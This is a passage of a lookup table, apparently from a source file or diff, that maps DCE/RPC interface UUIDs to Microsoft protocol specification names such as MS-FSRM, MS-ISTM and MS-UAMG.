+'CEB5D7B4-3964-4F71-AC17-4BF57A379D87':'[MS-DFSRH]: DFS Replication Helper Protocol', +'7A2323C7-9EBE-494A-A33C-3CC329A18E1D':'[MS-DFSRH]: DFS Replication Helper Protocol', +'20D15747-6C48-4254-A358-65039FD8C63C':'[MS-DFSRH]: DFS Replication Helper Protocol', +'C4B0C7D9-ABE0-4733-A1E1-9FDEDF260C7A':'[MS-DFSRH]: DFS Replication Helper Protocol', +'6BFFD098-A112-3610-9833-46C3F874532D':'[MS-DHCPM]: Microsoft Dynamic Host Configuration Protocol (DHCP)', +'5B821720-F63B-11D0-AAD2-00C04FC324DB':'[MS-DHCPM]: Microsoft Dynamic Host Configuration Protocol (DHCP)', +'4DA1C422-943D-11D1-ACAE-00C04FC2AA3F':'[MS-DLTM]: Distributed Link Tracking:', +'300F3532-38CC-11D0-A3F0-0020AF6B0ADD':'[MS-DLTW]: Distributed Link Tracking:', +'D2D79DF5-3400-11D0-B40B-00AA005FF586':'[MS-DMRP]: Disk Management Remote Protocol', +'DEB01010-3A37-4D26-99DF-E2BB6AE3AC61':'[MS-DMRP]: Disk Management Remote Protocol', +'3A410F21-553F-11D1-8E5E-00A0C92C9D5D':'[MS-DMRP]: Disk Management Remote Protocol', +'D2D79DF7-3400-11D0-B40B-00AA005FF586':'[MS-DMRP]: Disk Management Remote Protocol', +'4BDAFC52-FE6A-11D2-93F8-00105A11164A':'[MS-DMRP]: Disk Management Remote Protocol', +'135698D2-3A37-4D26-99DF-E2BB6AE3AC61':'[MS-DMRP]: Disk Management Remote Protocol', +'50ABC2A4-574D-40B3-9D66-EE4FD5FBA076':'[MS-DNSP]: Domain Name Service (DNS) Server Management', +'7C44D7D4-31D5-424C-BD5E-2B3E1F323D22':'[MS-DRSR]: Directory Replication Service (DRS) Remote Protocol', +'3919286A-B10C-11D0-9BA8-00C04FD92EF5':'[MS-DSSP]: Directory Services Setup Remote Protocol', +'14A8831C-BC82-11D2-8A64-0008C7457E5D':'[MS-EERR]: ExtendedError Remote Data Structure', +'C681D488-D850-11D0-8C52-00C04FD90F7E':'[MS-EFSR]: Encrypting File System Remote (EFSRPC) Protocol', +'82273FDC-E32A-18C3-3F78-827929DC23EA':'[MS-EVEN]: EventLog Remoting Protocol', +'6B5BDD1E-528C-422C-AF8C-A4079BE4FE48':'[MS-FASP]: Firewall and Advanced Security Protocol', +'6099FC12-3EFF-11D0-ABD0-00C04FD91A4E':'[MS-FAX]: Fax Server and Client Remote Protocol', +'EA0A3165-4834-11D2-A6F8-00C04FA346CC':'[MS-FAX]: Fax Server and Client Remote Protocol', +'897E2E5F-93F3-4376-9C9C-FD2277495C27':'[MS-FRS2]: Distributed File System Replication Protocol', +'377F739D-9647-4B8E-97D2-5FFCE6D759CD':'[MS-FSRM]: File Server Resource Manager Protocol', +'F411D4FD-14BE-4260-8C40-03B7C95E608A':'[MS-FSRM]: File Server Resource Manager Protocol', +'4C8F96C3-5D94-4F37-A4F4-F56AB463546F':'[MS-FSRM]: File Server Resource Manager Protocol', +'CFE36CBA-1949-4E74-A14F-F1D580CEAF13':'[MS-FSRM]: File Server Resource Manager Protocol', +'8276702F-2532-4839-89BF-4872609A2EA4':'[MS-FSRM]: File Server Resource Manager Protocol', +'4A73FEE4-4102-4FCC-9FFB-38614F9EE768':'[MS-FSRM]: File Server Resource Manager Protocol', +'F3637E80-5B22-4A2B-A637-BBB642B41CFC':'[MS-FSRM]: File Server Resource Manager Protocol', +'1568A795-3924-4118-B74B-68D8F0FA5DAF':'[MS-FSRM]: File Server Resource Manager Protocol', +'6F4DBFFF-6920-4821-A6C3-B7E94C1FD60C':'[MS-FSRM]: File Server Resource Manager Protocol', +'39322A2D-38EE-4D0D-8095-421A80849A82':'[MS-FSRM]: File Server Resource Manager Protocol', +'326AF66F-2AC0-4F68-BF8C-4759F054FA29':'[MS-FSRM]: File Server Resource Manager Protocol', +'27B899FE-6FFA-4481-A184-D3DAADE8A02B':'[MS-FSRM]: File Server Resource Manager Protocol', +'E1010359-3E5D-4ECD-9FE4-EF48622FDF30':'[MS-FSRM]: File Server Resource Manager Protocol', +'8DD04909-0E34-4D55-AFAA-89E1F1A1BBB9':'[MS-FSRM]: File Server Resource Manager Protocol', +'96DEB3B5-8B91-4A2A-9D93-80A35D8AA847':'[MS-FSRM]: File Server Resource Manager Protocol', +'D8CC81D9-46B8-4FA4-BFA5-4AA9DEC9B638':'[MS-FSRM]: File Server Resource Manager Protocol', +'EDE0150F-E9A3-419C-877C-01FE5D24C5D3':'[MS-FSRM]: File Server Resource Manager Protocol', +'15A81350-497D-4ABA-80E9-D4DBCC5521FE':'[MS-FSRM]: File Server Resource Manager Protocol', +'12937789-E247-4917-9C20-F3EE9C7EE783':'[MS-FSRM]: File Server Resource Manager Protocol', +'F76FBF3B-8DDD-4B42-B05A-CB1C3FF1FEE8':'[MS-FSRM]: File Server Resource Manager Protocol', +'CB0DF960-16F5-4495-9079-3F9360D831DF':'[MS-FSRM]: File Server Resource Manager Protocol', +'4846CB01-D430-494F-ABB4-B1054999FB09':'[MS-FSRM]: File Server Resource Manager Protocol', +'6CD6408A-AE60-463B-9EF1-E117534D69DC':'[MS-FSRM]: File Server Resource Manager Protocol', +'EE321ECB-D95E-48E9-907C-C7685A013235':'[MS-FSRM]: File Server Resource Manager Protocol', +'38E87280-715C-4C7D-A280-EA1651A19FEF':'[MS-FSRM]: File Server Resource Manager Protocol', +'BEE7CE02-DF77-4515-9389-78F01C5AFC1A':'[MS-FSRM]: File Server Resource Manager Protocol', +'9A2BF113-A329-44CC-809A-5C00FCE8DA40':'[MS-FSRM]: File Server Resource Manager Protocol', +'4173AC41-172D-4D52-963C-FDC7E415F717':'[MS-FSRM]: File Server Resource Manager Protocol', +'AD55F10B-5F11-4BE7-94EF-D9EE2E470DED':'[MS-FSRM]: File Server Resource Manager Protocol', +'BB36EA26-6318-4B8C-8592-F72DD602E7A5':'[MS-FSRM]: File Server Resource Manager Protocol', +'FF4FA04E-5A94-4BDA-A3A0-D5B4D3C52EBA':'[MS-FSRM]: File Server Resource Manager Protocol', +'22BCEF93-4A3F-4183-89F9-2F8B8A628AEE':'[MS-FSRM]: File Server Resource Manager Protocol', +'6879CAF9-6617-4484-8719-71C3D8645F94':'[MS-FSRM]: File Server Resource Manager Protocol', +'5F6325D3-CE88-4733-84C1-2D6AEFC5EA07':'[MS-FSRM]: File Server Resource Manager Protocol', +'8BB68C7D-19D8-4FFB-809E-BE4FC1734014':'[MS-FSRM]: File Server Resource Manager Protocol', +'A2EFAB31-295E-46BB-B976-E86D58B52E8B':'[MS-FSRM]: File Server Resource Manager Protocol', +'0770687E-9F36-4D6F-8778-599D188461C9':'[MS-FSRM]: File Server Resource Manager Protocol', +'AFC052C2-5315-45AB-841B-C6DB0E120148':'[MS-FSRM]: File Server Resource Manager Protocol', +'515C1277-2C81-440E-8FCF-367921ED4F59':'[MS-FSRM]: File Server Resource Manager Protocol', +'D2DC89DA-EE91-48A0-85D8-CC72A56F7D04':'[MS-FSRM]: File Server Resource Manager Protocol', +'47782152-D16C-4229-B4E1-0DDFE308B9F6':'[MS-FSRM]: File Server Resource Manager Protocol', +'205BEBF8-DD93-452A-95A6-32B566B35828':'[MS-FSRM]: File Server Resource Manager Protocol', +'1BB617B8-3886-49DC-AF82-A6C90FA35DDA':'[MS-FSRM]: File Server Resource Manager Protocol', +'42DC3511-61D5-48AE-B6DC-59FC00C0A8D6':'[MS-FSRM]: File Server Resource Manager Protocol', +'426677D5-018C-485C-8A51-20B86D00BDC4':'[MS-FSRM]: File Server Resource Manager Protocol', +'E946D148-BD67-4178-8E22-1C44925ED710':'[MS-FSRM]: File Server Resource Manager Protocol', +'D646567D-26AE-4CAA-9F84-4E0AAD207FCA':'[MS-FSRM]: File Server Resource Manager Protocol', +'F82E5729-6ABA-4740-BFC7-C7F58F75FB7B':'[MS-FSRM]: File Server Resource Manager Protocol', +'2DBE63C4-B340-48A0-A5B0-158E07FC567E':'[MS-FSRM]: File Server Resource Manager Protocol', +'A8E0653C-2744-4389-A61D-7373DF8B2292':'[MS-FSRVP]: File Server Remote VSS Protocol', +'B9785960-524F-11DF-8B6D-83DCDED72085':'[MS-GKDI]: Group Key Distribution Protocol', +'91AE6020-9E3C-11CF-8D7C-00AA00C091BE':'[MS-ICPR]: ICertPassage Remote Protocol', +'E8FB8620-588F-11D2-9D61-00C04F79C5FE':'[MS-IISS]: Internet Information Services (IIS) ServiceControl', +'F612954D-3B0B-4C56-9563-227B7BE624B4':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW', +'8298D101-F992-43B7-8ECA-5052D885B995':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW', +'29822AB8-F302-11D0-9953-00C04FD919C1':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW', +'70B51430-B6CA-11D0-B9B9-00A0C922E750':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW', +'29822AB7-F302-11D0-9953-00C04FD919C1':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW', +'BD0C73BC-805B-4043-9C30-9A28D64DD7D2':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW', +'7C4E1804-E342-483D-A43E-A850CFCC8D18':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW', +'6619A740-8154-43BE-A186-0319578E02DB':'[MS-IOI]: IManagedObject Interface Protocol', +'8165B19E-8D3A-4D0B-80C8-97DE310DB583':'[MS-IOI]: IManagedObject Interface Protocol', +'C3FCC19E-A970-11D2-8B5A-00A0C9B7C9C4':'[MS-IOI]: IManagedObject Interface Protocol', +'82AD4280-036B-11CF-972C-00AA006887B0':'[MS-IRP]: Internet Information Services (IIS) Inetinfo Remote', +'4E65A71E-4EDE-4886-BE67-3C90A08D1F29':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'866A78BC-A2FB-4AC4-94D5-DB3041B4ED75':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'B0D1AC4B-F87A-49B2-938F-D439248575B2':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'E141FD54-B79E-4938-A6BB-D523C3D49FF1':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'40CC8569-6D23-4005-9958-E37F08AE192B':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'1822A95E-1C2B-4D02-AB25-CC116DD9DBDE':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'B4FA8E86-2517-4A88-BD67-75447219EEE4':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'3C73848A-A679-40C5-B101-C963E67F9949':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'66C9B082-7794-4948-839A-D8A5A616378F':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'01454B97-C6A5-4685-BEA8-9779C88AB990':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'D6BD6D63-E8CB-4905-AB34-8A278C93197A':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'348A0821-69BB-4889-A101-6A9BDE6FA720':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'703E6B03-7AD1-4DED-BA0D-E90496EBC5DE':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'100DA538-3F4A-45AB-B852-709148152789':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'592381E5-8D3C-42E9-B7DE-4E77A1F75AE4':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'883343F1-CEED-4E3A-8C1B-F0DADFCE281E':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'6AEA6B26-0680-411D-8877-A148DF3087D5':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'D71B2CAE-33E8-4567-AE96-3CCF31620BE2':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'8C58F6B3-4736-432A-891D-389DE3505C7C':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'1995785D-2A1E-492F-8923-E621EACA39D9':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'C10A76D8-1FE4-4C2F-B70D-665265215259':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'8D7AE740-B9C5-49FC-A11E-89171907CB86':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'8AD608A4-6C16-4405-8879-B27910A68995':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'B0076FEC-A921-4034-A8BA-090BC6D03BDE':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'640038F1-D626-40D8-B52B-09660601D045':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'BB39E296-AD26-42C5-9890-5325333BB11E':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'B06A64E3-814E-4FF9-AFAC-597AD32517C7':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'A5ECFC73-0013-4A9E-951C-59BF9735FDDA':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'1396DE6F-A794-4B11-B93F-6B69A5B47BAE':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'DD6F0A28-248F-4DD3-AFE9-71AED8F685C4':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'52BA97E7-9364-4134-B9CB-F8415213BDD8':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'E2842C88-07C3-4EB0-B1A9-D3D95E76FEF2':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'312CC019-D5CD-4CA7-8C10-9E0A661F147E':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'345B026B-5802-4E38-AC75-795E08B0B83F':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'442931D5-E522-4E64-A181-74E98A4E1748':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'1B1C4D1C-ABC4-4D3A-8C22-547FBA3AA8A0':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'56E65EA5-CDFF-4391-BA76-006E42C2D746':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'E645744B-CAE5-4712-ACAF-13057F7195AF':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'FE7F99F9-1DFB-4AFB-9D00-6A8DD0AABF2C':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'81FE3594-2495-4C91-95BB-EB5785614EC7':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'F093FE3D-8131-4B73-A742-EF54C20B337B':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'28BC8D5E-CA4B-4F54-973C-ED9622D2B3AC':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'22E5386D-8B12-4BF0-B0EC-6A1EA419E366':'[MS-LREC]: Live Remote Event Capture (LREC) Protocol', +'12345778-1234-ABCD-EF00-0123456789AB':'[MS-LSAD]: Local Security Authority (Domain Policy) Remote Protocol', +'12345778-1234-ABCD-EF00-0123456789AB':'[MS-LSAT]: Local Security Authority (Translation Methods) Remote', +'708CCA10-9569-11D1-B2A5-0060977D8118':'[MS-MQDS]: Message Queuing (MSMQ):', +'77DF7A80-F298-11D0-8358-00A024C480A8':'[MS-MQDS]: Message Queuing (MSMQ):', +'76D12B80-3467-11D3-91FF-0090272F9EA3':'[MS-MQMP]: Message Queuing (MSMQ):', +'FDB3A030-065F-11D1-BB9B-00A024EA5525':'[MS-MQMP]: Message Queuing (MSMQ):', +'41208EE0-E970-11D1-9B9E-00E02C064C39':'[MS-MQMR]: Message Queuing (MSMQ):', +'1088A980-EAE5-11D0-8D9B-00A02453C337':'[MS-MQQP]: Message Queuing (MSMQ):', +'1A9134DD-7B39-45BA-AD88-44D01CA47F28':'[MS-MQRR]: Message Queuing (MSMQ):', +'17FDD703-1827-4E34-79D4-24A55C53BB37':'[MS-MSRP]: Messenger Service Remote Protocol', +'12345678-1234-ABCD-EF00-01234567CFFB':'[MS-NRPC]: Netlogon Remote Protocol', +'00020411-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol', +'00020401-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol', +'00020403-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol', +'00020412-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol', +'00020402-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol', +'00020400-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol', +'00020404-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol', +'784B693D-95F3-420B-8126-365C098659F2':'[MS-OCSPA]: Microsoft OCSP Administration Protocol', +'AE33069B-A2A8-46EE-A235-DDFD339BE281':'[MS-PAN]: Print System Asynchronous Notification Protocol', +'0B6EDBFA-4A24-4FC6-8A23-942B1ECA65D1':'[MS-PAN]: Print System Asynchronous Notification Protocol', +'76F03F96-CDFD-44FC-A22C-64950A001209':'[MS-PAR]: Print System Asynchronous Remote Protocol', +'DA5A86C5-12C2-4943-AB30-7F74A813D853':'[MS-PCQ]: Performance Counter Query Protocol', +'03837510-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'03837543-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'03837533-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'03837541-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'03837544-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'03837524-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'0383753A-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'03837534-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'0383750B-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'0383751A-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'03837512-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'0383753D-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'03837506-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'03837520-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'038374FF-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'03837514-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'03837502-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'03837516-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'0B1C2170-5732-4E0E-8CD3-D9B16F3B84D7':'[MS-RAA]: Remote Authorization API Protocol', +'F120A684-B926-447F-9DF4-C966CB785648':'[MS-RAI]: Remote Assistance Initiation Protocol', +'833E4010-AFF7-4AC3-AAC2-9F24C1457BCE':'[MS-RAI]: Remote Assistance Initiation Protocol', +'833E4200-AFF7-4AC3-AAC2-9F24C1457BCE':'[MS-RAI]: Remote Assistance Initiation Protocol', +'3C3A70A7-A468-49B9-8ADA-28E11FCCAD5D':'[MS-RAI]: Remote Assistance Initiation Protocol', +'833E4100-AFF7-4AC3-AAC2-9F24C1457BCE':'[MS-RAI]: Remote Assistance Initiation Protocol', +'833E41AA-AFF7-4AC3-AAC2-9F24C1457BCE':'[MS-RAI]: Remote Assistance Initiation Protocol', +'C323BE28-E546-4C23-A81B-D6AD8D8FAC7B':'[MS-RAINPS]: Remote Administrative Interface:', +'83E05BD5-AEC1-4E58-AE50-E819C7296F67':'[MS-RAINPS]: Remote Administrative Interface:', +'45F52C28-7F9F-101A-B52B-08002B2EFABE':'[MS-RAIW]: Remote Administrative Interface:', +'811109BF-A4E1-11D1-AB54-00A0C91E9B45':'[MS-RAIW]: Remote Administrative Interface:', +'A35AF600-9CF4-11CD-A076-08002B2BD711':'[MS-RDPESC]: Remote Desktop Protocol:', +'12345678-1234-ABCD-EF00-0123456789AB':'[MS-RPRN]: Print System Remote Protocol', +'66A2DB21-D706-11D0-A37B-00C04FC9DA04':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management', +'66A2DB1B-D706-11D0-A37B-00C04FC9DA04':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management', +'66A2DB20-D706-11D0-A37B-00C04FC9DA04':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management', +'66A2DB22-D706-11D0-A37B-00C04FC9DA04':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management', +'8F09F000-B7ED-11CE-BBD2-00001A181CAD':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management', +'5FF9BDF6-BD91-4D8B-A614-D6317ACC8DD8':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management', +'20610036-FA22-11CF-9823-00A0C911E5DF':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management', +'67E08FC2-2984-4B62-B92E-FC1AAE64BBBB':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management', +'6139D8A4-E508-4EBB-BAC7-D7F275145897':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management', +'338CD001-2244-31F1-AAAA-900038001003':'[MS-RRP]: Windows Remote Registry Protocol', +'3BBED8D9-2C9A-4B21-8936-ACB2F995BE6C':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', +'8DA03F40-3419-11D1-8FB1-00A024CB6019':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', +'D61A27C6-8F53-11D0-BFA0-00A024151983':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', +'081E7188-C080-4FF3-9238-29F66D6CABFD':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', +'895A2C86-270D-489D-A6C0-DC2A9B35280E':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', +'D02E4BE0-3419-11D1-8FB1-00A024CB6019':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', +'DB90832F-6910-4D46-9F5E-9FD6BFA73903':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', +'4E934F30-341A-11D1-8FB1-00A024CB6019':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', +'879C8BBE-41B0-11D1-BE11-00C04FB6BF70':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', +'00000000-0000-0000-C000-000000000046':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', +'69AB7050-3059-11D1-8FAF-00A024CB6019':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', +'7D07F313-A53F-459A-BB12-012C15B1846E':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', +'BB39332C-BFEE-4380-AD8A-BADC8AFF5BB6':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', +'B057DC50-3059-11D1-8FAF-00A024CB6019':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', +'894DE0C0-0D55-11D3-A322-00C04FA321A1':'[MS-RSP]: Remote Shutdown Protocol', +'D95AFE70-A6D5-4259-822E-2C84DA1DDB0D':'[MS-RSP]: Remote Shutdown Protocol', +'12345778-1234-ABCD-EF00-0123456789AC':'[MS-SAMR]: Security Account Manager (SAM) Remote Protocol', +'01954E6B-9254-4E6E-808C-C9E05D007696':'[MS-SCMP]: Shadow Copy Management Protocol', +'FA7DF749-66E7-4986-A27F-E2F04AE53772':'[MS-SCMP]: Shadow Copy Management Protocol', +'214A0F28-B737-4026-B847-4F9E37D79529':'[MS-SCMP]: Shadow Copy Management Protocol', +'AE1C7110-2F60-11D3-8A39-00C04F72D8E3':'[MS-SCMP]: Shadow Copy Management Protocol', +'367ABB81-9844-35F1-AD32-98F038001003':'[MS-SCMR]: Service Control Manager Remote Protocol', +'4B324FC8-1670-01D3-1278-5A47BF6EE188':'[MS-SRVS]: Server Service Remote Protocol', +'CCD8C074-D0E5-4A40-92B4-D074FAA6BA28':'[MS-SWN]: Service Witness Protocol', +'1A1BB35F-ABB8-451C-A1AE-33D98F1BEF4A':'[MS-TPMVSC]: Trusted Platform Module (TPM) Virtual Smart Card', +'1C60A923-2D86-46AA-928A-E7F3E37577AF':'[MS-TPMVSC]: Trusted Platform Module (TPM) Virtual Smart Card', +'FDF8A2B9-02DE-47F4-BC26-AA85AB5E5267':'[MS-TPMVSC]: Trusted Platform Module (TPM) Virtual Smart Card', +'112B1DFF-D9DC-41F7-869F-D67FEE7CB591':'[MS-TPMVSC]: Trusted Platform Module (TPM) Virtual Smart Card', +'152EA2A8-70DC-4C59-8B2A-32AA3CA0DCAC':'[MS-TPMVSC]: Trusted Platform Module (TPM) Virtual Smart Card', +'16A18E86-7F6E-4C20-AD89-4FFC0DB7A96A':'[MS-TPMVSC]: Trusted Platform Module (TPM) Virtual Smart Card', +'3C745A97-F375-4150-BE17-5950F694C699':'[MS-TPMVSC]: Trusted Platform Module (TPM) Virtual Smart Card', +'2F5F6521-CA47-1068-B319-00DD010662DB':'[MS-TRP]: Telephony Remote Protocol', +'2F5F6520-CA46-1067-B319-00DD010662DA':'[MS-TRP]: Telephony Remote Protocol', +'1FF70682-0A51-30E8-076D-740BE8CEE98B':'[MS-TSCH]: Task Scheduler Service Remoting Protocol', +'378E52B0-C0A9-11CF-822D-00AA0051E40F':'[MS-TSCH]: Task Scheduler Service Remoting Protocol', +'86D35949-83C9-4044-B424-DB363231FD0C':'[MS-TSCH]: Task Scheduler Service Remoting Protocol', +'44E265DD-7DAF-42CD-8560-3CDB6E7A2729':'[MS-TSGU]: Terminal Services Gateway Server Protocol', +'034634FD-BA3F-11D1-856A-00A0C944138C':'[MS-TSRAP]: Telnet Server Remote Administration Protocol', +'497D95A6-2D27-4BF5-9BBD-A6046957133C':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface', +'11899A43-2B68-4A76-92E3-A3D6AD8C26CE':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface', +'5CA4A760-EBB1-11CF-8611-00A0245420ED':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface', +'BDE95FDF-EEE0-45DE-9E12-E5A61CD0D4FE':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface', +'484809D6-4239-471B-B5BC-61DF8C23AC48':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface', +'88143FD0-C28D-4B2B-8FEF-8D882F6A9390':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface', +'1257B580-CE2F-4109-82D6-A9459D0BF6BC':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface', +'53B46B02-C73B-4A3E-8DEE-B16B80672FC0':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface', +'DDE02280-12B3-4E0B-937B-6747F6ACB286':'[MS-UAMG]: Update Agent Management Protocol', +'112EDA6B-95B3-476F-9D90-AEE82C6B8181':'[MS-UAMG]: Update Agent Management Protocol', +'144FE9B0-D23D-4A8B-8634-FB4457533B7A':'[MS-UAMG]: Update Agent Management Protocol', +'70CF5C82-8642-42BB-9DBC-0CFD263C6C4F':'[MS-UAMG]: Update Agent Management Protocol', +'49EBD502-4A96-41BD-9E3E-4C5057F4250C':'[MS-UAMG]: Update Agent Management Protocol', +'7C907864-346C-4AEB-8F3F-57DA289F969F':'[MS-UAMG]: Update Agent Management Protocol', +'46297823-9940-4C09-AED9-CD3EA6D05968':'[MS-UAMG]: Update Agent Management Protocol', +'4CBDCB2D-1589-4BEB-BD1C-3E582FF0ADD0':'[MS-UAMG]: Update Agent Management Protocol', +'8F45ABF1-F9AE-4B95-A933-F0F66E5056EA':'[MS-UAMG]: Update Agent Management Protocol', +'6A92B07A-D821-4682-B423-5C805022CC4D':'[MS-UAMG]: Update Agent Management Protocol', +'54A2CB2D-9A0C-48B6-8A50-9ABB69EE2D02':'[MS-UAMG]: Update Agent Management Protocol', +'0D521700-A372-4BEF-828B-3D00C10ADEBD':'[MS-UAMG]: Update Agent Management Protocol', +'C2BFB780-4539-4132-AB8C-0A8772013AB6':'[MS-UAMG]: Update Agent Management Protocol', +'1518B460-6518-4172-940F-C75883B24CEB':'[MS-UAMG]: Update Agent Management Protocol', +'81DDC1B8-9D35-47A6-B471-5B80F519223B':'[MS-UAMG]: Update Agent Management Protocol', +'BC5513C8-B3B8-4BF7-A4D4-361C0D8C88BA':'[MS-UAMG]: Update Agent Management Protocol', +'C1C2F21A-D2F4-4902-B5C6-8A081C19A890':'[MS-UAMG]: Update Agent Management Protocol', +'07F7438C-7709-4CA5-B518-91279288134E':'[MS-UAMG]: Update Agent Management Protocol', +'C97AD11B-F257-420B-9D9F-377F733F6F68':'[MS-UAMG]: Update Agent Management Protocol', +'3A56BFB8-576C-43F7-9335-FE4838FD7E37':'[MS-UAMG]: Update Agent Management Protocol', +'615C4269-7A48-43BD-96B7-BF6CA27D6C3E':'[MS-UAMG]: Update Agent Management Protocol', +'004C6A2B-0C19-4C69-9F5C-A269B2560DB9':'[MS-UAMG]: Update Agent Management Protocol', +'7366EA16-7A1A-4EA2-B042-973D3E9CD99B':'[MS-UAMG]: Update Agent Management Protocol', +'A376DD5E-09D4-427F-AF7C-FED5B6E1C1D6':'[MS-UAMG]: Update Agent Management Protocol', +'23857E3C-02BA-44A3-9423-B1C900805F37':'[MS-UAMG]: Update Agent Management Protocol', +'B383CD1A-5CE9-4504-9F63-764B1236F191':'[MS-UAMG]: Update Agent Management Protocol', +'76B3B17E-AED6-4DA5-85F0-83587F81ABE3':'[MS-UAMG]: Update Agent Management Protocol', +'0BB8531D-7E8D-424F-986C-A0B8F60A3E7B':'[MS-UAMG]: Update Agent Management Protocol', +'91CAF7B0-EB23-49ED-9937-C52D817F46F7':'[MS-UAMG]: Update Agent Management Protocol', 